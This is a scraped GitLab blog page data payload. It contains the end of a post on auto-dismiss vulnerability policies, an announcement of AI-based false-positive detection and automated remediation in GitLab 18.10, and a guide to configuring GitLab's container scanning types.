code\n\nProtobuf, gRPC, OpenAPI generators, and ORM scaffolding tools produce files with flagged patterns that cannot be patched by your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss generated code findings\"\n    description: \"Generated files are not authored by us\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"generated/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.pb.go\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.generated.*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 5. Dismiss infrastructure-mitigated vulnerabilities\n\nVulnerability classes like XSS (CWE-79) or SQL injection (CWE-89) that are already addressed by WAF rules or runtime protection. Only use this when mitigating controls are verified and consistently enforced.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss CWEs mitigated by WAF\"\n    description: \"XSS and SQLi mitigated by WAF rules\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-79\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-89\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: mitigating_control\n\n```\n\n### 6. Dismiss CVE families across your organization\n\nA wave of related CVEs for a widely-used library your team has assessed? Apply at the group level to dismiss them across dozens of projects. The wildcard pattern (e.g., `CVE-2021-44*`) matches all CVEs with that prefix.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Accept risk for log4j CVE family\"\n    description: \"Log4j CVEs mitigated by version pinning and WAF\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2021-44*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: acceptable_risk\n\n```\n\n## Quick reference\n\n| Parameter | Details |\n|-----------|---------|\n| **Criteria types** | `file_path` (glob patterns, e.g., `test/**/*`), `directory` (e.g., `vendor/*`), `identifier` (CVE/CWE with wildcards, e.g., `CVE-2023-*`) |\n| **Dismissal reasons** | `acceptable_risk`, `false_positive`, `mitigating_control`, `used_in_tests`, `not_applicable` |\n| **Criteria logic** | Multiple criteria within a rule = AND (must match all). Multiple rules within a policy = OR (match any). |\n| **Limits** | 3 criteria per rule, 5 rules per policy, 5 policies per security policy project. Vulnerabilty management policy actions process 1000 vulnerabilities per pipeline run in the target project, until all matching vulnerabilities are processed. |\n| **Affected statuses** | Needs triage, Confirmed |\n| **Scope** | Project-level or group-level (group-level applies across all projects) |\n\n## Getting started\nHere's how to get started with auto-dismiss policies:\n\n1. **Identify the noise.** Open your vulnerability report and sort by \"Needs triage.\" Look for patterns: test files, vendored code, the same CVE across projects.\n\n2. **Pick a scenario.** Start with whichever use case above accounts for the most findings.\n\n3. **Record your baseline.** Note the number of \"Needs triage\" vulnerabilities before creating a policy.\n\n4. **Create and enable.** Navigate to **Secure > Policies > New policy > Vulnerability management policy**. Paste the configuration from the use case above, then merge the MR.\n\n5. **Validate results.** After the next default-branch pipeline, filter by status \"Dismissed\" to confirm the right findings were handled.\n\nFor full configuration details, see the [vulnerability management policy documentation](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#auto-dismiss-policies).\n\n> Ready to take control of vulnerability noise? [Start a free GitLab Ultimate trial](https://about.gitlab.com/free-trial/) and configure your first auto-dismiss policy today.\n",{"slug":730,"featured":27,"template":13},"auto-dismiss-vulnerability-management-policy",{"content":732,"config":741},{"title":733,"description":734,"authors":735,"heroImage":737,"date":738,"body":739,"category":9,"tags":740},"GitLab 18.10 brings AI-native triage and remediation ","Learn about GitLab Duo Agent Platform capabilities that cut noise, surface real vulnerabilities, and turn findings into proposed fixes.",[736],"Alisa Ho","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","2026-03-19","GitLab 18.10 introduces new AI-powered security capabilities focused on improving the quality and speed of vulnerability management. Together, these features can help reduce the time developers spend investigating false positives and bring automated remediation directly into their workflow, so they can fix vulnerabilities without needing to be security experts.\n\nHere is what’s new:\n\n* [**Static Application Security Testing (SAST) false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **is now generally available.** This flow uses an LLM for agentic reasoning to determine the likelihood that a vulnerability is a false positive or not, so security and development teams can focus on remediating critical vulnerabilities first.  \n* [**Agentic SAST vulnerability resolution**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **is now in beta.** Agentic SAST vulnerability resolution automatically creates a merge request with a proposed fix for verified SAST vulnerabilities, which can shorten time to remediation and reduce the need for deep security expertise.  \n* [**Secret false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **is now in beta.** This flow brings the same AI-powered noise reduction to secret detection, flagging dummy and test secrets to save review effort.\n\nThese flows are available to GitLab Ultimate customers using GitLab Duo Agent Platform. \n\n## Cut triage time with SAST false positive detection\n\nTraditional SAST scanners flag every suspicious code pattern they find, regardless of whether code paths are reachable or frameworks already handle the risk. Without runtime context, they cannot distinguish a real vulnerability from safe code that just looks dangerous.\n\nThis means developers could spend hours investigating findings that turn out to be false positives. Over time, that can erode confidence in the report and slow down the teams responsible for fixing real risks.\n\nAfter each SAST scan, GitLab Duo Agent Platform automatically analyzes new critical and high severity findings and attaches:\n\n* A confidence score indicating how likely the finding is to be a false positive  \n* An AI-generated explanation describing the reasoning  \n* A visual badge that makes “Likely false positive” versus “Likely real” easy to scan in the UI\n\nThese findings appear in the [Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/), as shown below. You can filter the report to focus on findings marked as “Not false positive” so teams can spend their time addressing real vulnerabilities instead of sifting through noise.\n\n![Vulnerability report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nGitLab Duo Agent Platform's assessment is a recommendation. You stay in control of every false positive to determine if it is valid, and you can audit the agent's reasoning at any time to build confidence in the model. \n\n\n## Turn vulnerabilities into automated fixes\n\nKnowing that a vulnerability is real is only half the work.  Remediation still requires understanding the code path, writing a safe patch, and making sure nothing else breaks.\n\nIf the vulnerability is identified as likely not be a false positive by the SAST false positive detection flow, the Agentic SAST vulnerability resolution flow automatically:\n\n1. Reads the vulnerable code and surrounding context from your repository  \n2. Generates high-quality proposed fixes  \n3. Validates fixes through automated testing   \n4. Opens a merge request with a proposed fix that includes:  \n   * Concrete code changes  \n   * A confidence score  \n   * An explanation of what changed and why\n\nIn this demo, you’ll see how GitLab can automatically take a SAST vulnerability all the way from detection to a ready-to-review merge request. Watch how the agent reads the code, generates and validates a fix, and opens an MR with clear, explainable changes so developers can remediate faster without being security experts.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nAs with any AI-generated suggestion, you should review the proposed merge request carefully before merging.\n\n## Surface real secrets\n\nSecret detection is only useful if teams trust the results. When reports are full of test credentials, placeholder values, and example tokens, developers may waste time reviewing noise instead of fixing real exposures. That can slow remediation and decrease confidence in the scan.\n\nSecret false positive detection helps teams focus on the secrets that matter so they can reduce risk faster. When it runs on the default branch, it will automatically:\n\n1. Analyze each finding to spot likely test credentials, example values, and dummy secrets  \n2. Assign a confidence score for whether the finding is a real risk or a likely false positive  \n3. Generate an explanation for why the secret is being treated as real or noise  \n4. Add a badge in the Vulnerability Report so developers can see the status at a glance\n\nDevelopers can also trigger this analysis manually from the Vulnerability Report by selecting **“Check for false positive”** on any secret detection finding, helping them clear out findings that do not pose risk and focus on real secrets sooner.\n\n## Try AI-powered security today\n\nGitLab 18.10 introduces capabilities that cover the full vulnerability workflow, from cutting false positive noise in SAST and secret detection to automatically generating merge requests with proposed fixes.\n\nTo see how AI-powered security can help cut review time and turn findings into ready-to-merge fixes, [start a free trial of GitLab Duo Agent Platform today](https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_global_x_x_security_en_).",[727,9,726],{"featured":12,"template":13,"slug":742},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"content":744,"config":753},{"title":745,"description":746,"authors":747,"tags":749,"heroImage":750,"category":9,"date":751,"body":752},"A complete guide to GitLab Container Scanning","Explore GitLab's various container scanning methods and learn how to secure containers at every lifecycle stage.",[748],"Fernando Diaz",[9,725],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","2026-03-05","Container vulnerabilities don't wait for your next deployment. They can emerge at any\npoint, including when you build an image or while containers run in production.\nGitLab addresses this reality with multiple container scanning approaches, each designed\nfor different stages of your container lifecycle.\n\nIn this guide, we'll explore the different types of container scanning GitLab offers,\nhow to enable each one, and common configurations to get you started.\n\n## Why container scanning matters\n\nSecurity vulnerabilities in container images create risk throughout your application\nlifecycle. Base images, OS packages, and application dependencies can all harbor\nvulnerabilities that attackers actively exploit. Container scanning detects these risks\nearly, before they reach production, and provides remediation paths when available.\n\nContainer scanning is a critical component of Software Composition Analysis (SCA),\nhelping you understand and secure the external dependencies your containerized\napplications rely on.\n\n## The five types of GitLab Container Scanning\n\nGitLab offers five distinct container scanning approaches, each serving a specific\npurpose in your security strategy.\n\n\n### 1. Pipeline-based Container Scanning\n\n* What it does: Scans container images during your CI/CD pipeline execution,\ncatching vulnerabilities before deployment\n\n* Best for: Shift-left security, blocking vulnerable images from reaching production \n\n* Tier availability: Free, Premium, and Ultimate (with enhanced features in Ultimate)  \n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n\nGitLab uses the Trivy security scanner to analyze container images for\nknown vulnerabilities. When your pipeline runs, the scanner examines your images\nand generates a detailed report.\n\n\n#### How to enable pipeline-based Container Scanning \n\n**Option A: Preconfigured merge request**  \n\n* Navigate to **Secure > Security configuration** in your project.\n* Find the \"Container Scanning\" row.\n* Select **Configure with a merge request**.\n* This automatically creates a merge request with the necessary configuration.  \n\n**Option B: Manual configuration**  \n\n* Add the following to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```  \n\n#### Common configurations\n\n**Scan a specific image:**\n\nTo scan a specific image, overwrite the `CS_IMAGE` variable in the `container_scanning` job.\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_IMAGE: myregistry.com/myapp:latest\n```\n\n**Filter by severity threshold:**\n\nTo only find vulnerabilities with a certain severity criteria, overwrite the\n`CS_SEVERITY_THRESHOLD` variable in the `container_scanning` job. In the example\nbelow, only vulnerabilities with a severity of **High** or greater will be displayed.\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_SEVERITY_THRESHOLD: \"HIGH\"\n```\n\n#### Viewing vulnerabilities in a merge request\n\nViewing Container Scanning vulnerabilities directly within merge requests makes security\nreviews seamless and efficient. Once Container Scanning is configured in your CI/CD\npipeline, GitLab automatically display detected vulnerabilities in the merge request's\n[Security widget](https://docs.gitlab.com/user/project/merge_requests/widgets/#application-security-scanning). \n\n\n![Container Scanning vulnerabilities displayed in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png \"Container Scanning vulnerabilities displayed in MR\")\n\n\n\n* Navigate to any merge request and scroll to the \"Security Scanning\" section to see a summary of\nnewly introduced and existing vulnerabilities found in your container images.\n\n* Click on a **Vulnerability** to access detailed information about the finding, including severity level,\naffected packages, and available remediation guidance.\n\n\n![GitLab Security View details in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png)\n\n\n\n![GitLab Security View details in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png \"Container Scanning vulnerability details in MR\")\n\n\nThis visibility enables developers and security teams to catch and address container\nvulnerabilities before they reach production, making security an integral part of your\ncode review process rather than a separate gate.\n\n\n#### Viewing vulnerabilities in Vulnerability Report\n\nBeyond merge request reviews, GitLab provides a centralized\n[Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/) that gives security teams comprehensive visibility across all Container Scanning findings in your project.\n\n\n![Vulnerability Report sorted by Container Scanning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png \"Vulnerability Report sorted by Container Scanning\")\n\n\n* Access this report by navigating to **Security & Compliance > Vulnerability Report** in your\nproject sidebar.\n\n* Here you'll find an aggregated view of all container vulnerabilities detected across your branches, with powerful filtering options to sort by severity, status, scanner type, or specific container images.\n\n* You can click on a vulnerabilty to access its Vulnerablity page.\n\n\n![Vulnerability page - 1st view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png)\n\n\n![Vulnerability page - 2nd view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png)\n\n\n![Vulnerability page - 3rd view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png \"Vunerability Details for a Container Scanning vulnerability\")\n\n\n[Vulnerability Details](https://docs.gitlab.com/user/application_security/vulnerabilities/)\nshows exactly which container images and layers are impacted, making it easier to trace the\nvulnerability back to its source. You can assign vulnerabilities to team members, change\ntheir status (detected, confirmed, resolved, dismissed), add comments for collaboration,\nand link related issues for tracking remediation work.\n\nThis workflow transforms vulnerability management from a spreadsheet exercise into an integrated part of your development process, ensuring that container security findings are tracked, prioritized, and resolved systematically.\n\n#### View the Dependency List\n\nGitLab's [Dependency List](https://docs.gitlab.com/user/application_security/dependency_list/)\nprovides a comprehensive software bill of materials (SBOM) that catalogs every component within\nyour container images, giving you complete transparency into your software supply chain.\n\n* Navigate to **Security & Compliance > Dependency List** to access an inventory of all packages,\nlibraries, and dependencies detected by Container Scanning across your project.\n\n* This view is invaluable for understanding what's actually running inside your containers, from base OS\npackages to application-level dependencies.\n\n\n![GitLab Dependency List](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png \"GitLab Dependency List (SBOM)\")\n\n\nYou can filter the list by package manager, license type, or vulnerability status to quickly\nidentify which components pose security risks or compliance concerns. Each dependency entry\nshows associated vulnerabilities, allowing you to understand security issues in the context\nof your actual software components rather than as isolated findings.\n\n\n### 2. Container Scanning for Registry\n\n* What it does: Automatically scans images pushed to your GitLab Container Registry\nwith the `latest` tag\n\n* Best for: Continuous monitoring of registry images without manual pipeline triggers  \n\n* Tier availability: Ultimate only \n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/#container-scanning-for-registry) \n\n\nWhen you push a container image tagged `latest`, GitLab's security policy bot\nautomatically triggers a scan against the default branch. Unlike pipeline-based\nscanning, this approach works with Continuous Vulnerability Scanning to monitor\nfor newly published advisories.\n\n#### How to enable Container Scanning for Registry\n\n1. Navigate to **Secure > Security configuration**.\n2. Scroll to the **Container Scanning For Registry** section.\n3. Toggle the feature on.\n\n![Container Scanning for Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png \"Toggle for Container Scanning for Registry\")\n\n#### Prerequisites\n\n- Maintainer role or higher in the project\n- Project must not be empty (requires at least one commit on the default branch)\n- Container Registry notifications must be configured\n- Package Metadata Database must be configured (enabled by default on GitLab.com)\n\nVulnerabilities appear under the **Container Registry vulnerabilities** tab in your\nVulnerability Report.\n\n\n### 3. Multi-Container Scanning\n\n* What it does: Scans multiple container images in parallel within a single pipeline \n* Best for: Microservices architectures and projects with multiple container images  \n* Tier availability: Free, Premium, and Ultimate (currently in Beta)  \n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/multi_container_scanning/) \n\nMulti-Container Scanning uses dynamic child pipelines to run scans concurrently, significantly reducing overall pipeline execution time when you need to scan multiple images.\n\n#### How to enable Multi-Container scanning\n\n1. Create a `.gitlab-multi-image.yml` file in your repository root:\n\n```yaml\nscanTargets:\n  - name: alpine\n    tag: \"3.19\"\n  - name: python\n    tag: \"3.9-slim\"\n  - name: nginx\n    tag: \"1.25\"\n```\n\n2. Include the template in your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml\n```\n\n#### Advanced configuration\n\n**Scan images from private registries:**\n\n```yaml\nauths:\n  registry.gitlab.com:\n    username: ${CI_REGISTRY_USER}\n    password: ${CI_REGISTRY_PASSWORD}\n\nscanTargets:\n  - name: registry.gitlab.com/private/image\n    tag: latest\n```\n\n**Include license information:**\n\n```yaml\nincludeLicenses: true\n\nscanTargets:\n  - name: postgres\n    tag: \"15-alpine\"\n```\n\n\n### 4. Continuous Vulnerability Scanning\n\n* What it does: Automatically creates vulnerabilities when new security advisories are published, no pipeline required \n\n* Best for: Proactive security monitoring between deployments\n\n* Tier availability: Ultimate only\n\n* [Documentation](https://docs.gitlab.com/user/application_security/continuous_vulnerability_scanning/)  \n\nTraditional scanning only catches vulnerabilities at scan time. But what happens\nwhen a new CVE is published tomorrow for a package you scanned yesterday? Continuous\nVulnerability Scanning solves this by monitoring the GitLab Advisory Database and\nautomatically creating vulnerability records when new advisories affect your components.\n\n\n#### How it works\n\n1. Your Container Scanning or Dependency Scanning job generates a CycloneDX SBOM.\n\n2. GitLab registers your project's components from this SBOM.\n\n3. When new advisories are published, GitLab checks if your components are affected.\n\n4. Vulnerabilities are automatically created in your vulnerability report.\n\n\n#### Key considerations\n\n- Scans run via background jobs (Sidekiq), not CI pipelines.\n\n- Only advisories published within the last 14 days are considered for new component detection.\n\n- Vulnerabilities use \"GitLab SBoM Vulnerability Scanner\" as the scanner name.\n\n- To mark vulnerabilities as resolved, you still need to run a pipeline-based scan.\n\n\n### 5. Operational Container Scanning\n\n* What it does: Scans running containers in your Kubernetes cluster on a\nscheduled cadence\n\n* Best for: Post-deployment security monitoring and runtime vulnerability detection  \n\n* Tier availability: Ultimate only\n\n* [Documentation](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/)\n\n\nOperational Container Scanning bridges the gap between build-time security and\nruntime security. Using the GitLab Agent for Kubernetes, it scans containers\nactually running in your clusters—catching vulnerabilities that emerge after\ndeployment.\n\n#### How to enable Operational Container Scanning\n\nIf you are using the [GitLab Kubernetes Agent](https://docs.gitlab.com/user/clusters/agent/install/), you can add the following to your agent configuration file:\n\n```yaml\ncontainer_scanning:\n  cadence: '0 0 * * *'  # Daily at midnight\n  vulnerability_report:\n    namespaces:\n      include:\n        - production\n        - staging\n```\n\n\nYou can also create a [scan execution policy](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies) that enforces scanning on a schedule by the GitLab Kubernetes Agent.\n\n\n![Scan execution policy - Operational Container Scanning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png \"Scan execution policy conditions for Operational Container Scanning\")\n\n#### Viewing results\n\n* Navigate to **Operate > Kubernetes clusters**.\n\n* Select the **Agent** tab, and choose your agent.\n\n* Then select the **Security** tab to view cluster vulnerabilities.\n\n* Results also appear under the **Operational Vulnerabilities** tab in the **Vulnerability Report**.\n\n\n## Enhancing posture with GitLab Security Policies\n\nGitLab Security Policies enable you to enforce consistent security standards across your container workflows through automated, policy-driven controls. These policies shift security left by embedding requirements directly into your development pipeline, ensuring vulnerabilities are caught and addressed before code reaches production.\n\n#### Scan execution and pipeline policies\n\n[Scan execution policies](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/) automate when and how Container Scanning runs across your projects. Define policies that trigger container scans on every merge request, schedule recurring scans of your main branch, and more. These policies ensure comprehensive coverage without relying on developers to manually configure scanning in each project's CI/CD pipeline.\n\nYou can specify which scanner versions to use and configure scanning parameters centrally, maintaining consistency across your organization while adapting to new container security threats.\n\n![Scan execution policy configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png \"Scan execution policy configuration\")\n\n\n[Pipeline execution policies](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) provide flexible controls for injecting (or overriding) custom jobs into a pipeline based on your compliance needs.\n\nUse these policies to automatically inject Container Scanning jobs into your pipeline, fail builds when container vulnerabilities exceed your risk tolerance, trigger additional security checks for specific branches or tags, or enforce compliance requirements for container images destined for production environments. Pipeline execution policies act as automated guardrails, ensuring your security standards are consistently applied across all container deployments without manual intervention.\n\n![Pipeline execution policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png \"Pipeline execution policy actions\")\n\n#### Merge request approval policies\n\n[Merge request approval policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) enforce security gates by requiring designated approvers to review and sign off on merge requests containing container vulnerabilities.\n\nConfigure policies that block merge when critical or high-severity vulnerabilities are detected, or require security team approval for any merge request introducing new container findings. These policies prevent vulnerable container images from advancing through your pipeline while maintaining development velocity for low-risk changes.\n\n![Merge request approval policy performing block in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png \"Merge request approval policy performing block in MR\")\n\n\n## Choosing the right approach\n\n| Scanning Type | When to Use | Key Benefit |\n|--------------|-------------|-------------|\n| Pipeline-based | Every build | Shift-left security, blocks vulnerable builds |\n| Registry scanning | Continuous monitoring | Catches new CVEs in stored images |\n| Multi-container | Microservices | Parallel scanning, faster pipelines |\n| Continuous vulnerability | Between deployments | Proactive advisory monitoring |\n| Operational | Production monitoring | Runtime vulnerability detection |\n\n\n\nFor comprehensive security, consider combining multiple approaches. Use\npipeline-based scanning to catch issues during development, container\nscanning for registry for continuous monitoring, and operational scanning\nfor production visibility.\n\n## Get started today\n\nThe fastest path to container security is enabling pipeline-based scanning:\n\n1. Navigate to your project's **Secure > Security configuration**.\n2. Click **Configure with a merge request** for Container Scanning.\n3. Merge the resulting merge request.\n4. Your next pipeline will include vulnerability scanning.\n\nFrom there, layer in additional scanning types based on your security requirements\nand GitLab tier.\n\nContainer security isn't a one-time activity, it's an ongoing process.\nWith GitLab's comprehensive container scanning capabilities, you can detect\nvulnerabilities at every stage of your container lifecycle, from build to runtime.\n\n> For more information on how GitLab can help enhance your security posture, visit the [GitLab Security and Governance Solutions Page](https://about.gitlab.com/solutions/application-security-testing/).\n",{"slug":754,"featured":27,"template":13},"complete-guide-to-gitlab-container-scanning",{"promotions":756},[757,771,782,793],{"id":758,"categories":759,"header":761,"text":762,"button":763,"image":768},"ai-modernization",[760],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":764,"config":765},"Get your AI maturity score",{"href":766,"dataGaName":767,"dataGaLocation":243},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":769},{"src":770},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":772,"categories":773,"header":774,"text":762,"button":775,"image":779},"devops-modernization",[727,569],"Are you just managing tools or shipping innovation?",{"text":776,"config":777},"Get your DevOps maturity score",{"href":778,"dataGaName":767,"dataGaLocation":243},"/assessments/devops-modernization-assessment/",{"config":780},{"src":781},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":783,"categories":784,"header":785,"text":762,"button":786,"image":790},"security-modernization",[9],"Are you trading speed for security?",{"text":787,"config":788},"Get your security maturity score",{"href":789,"dataGaName":767,"dataGaLocation":243},"/assessments/security-modernization-assessment/",{"config":791},{"src":792},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":794,"paths":795,"header":798,"text":799,"button":800,"image":805},"github-azure-migration",[796,797],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":801,"config":802},"See how GitLab compares to GitHub",{"href":803,"dataGaName":804,"dataGaLocation":243},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":806},{"src":781},{"header":808,"blurb":809,"button":810,"secondaryButton":815},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":811,"config":812},"Get your free trial",{"href":813,"dataGaName":50,"dataGaLocation":814},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":505,"config":816},{"href":54,"dataGaName":55,"dataGaLocation":814},1776452948967]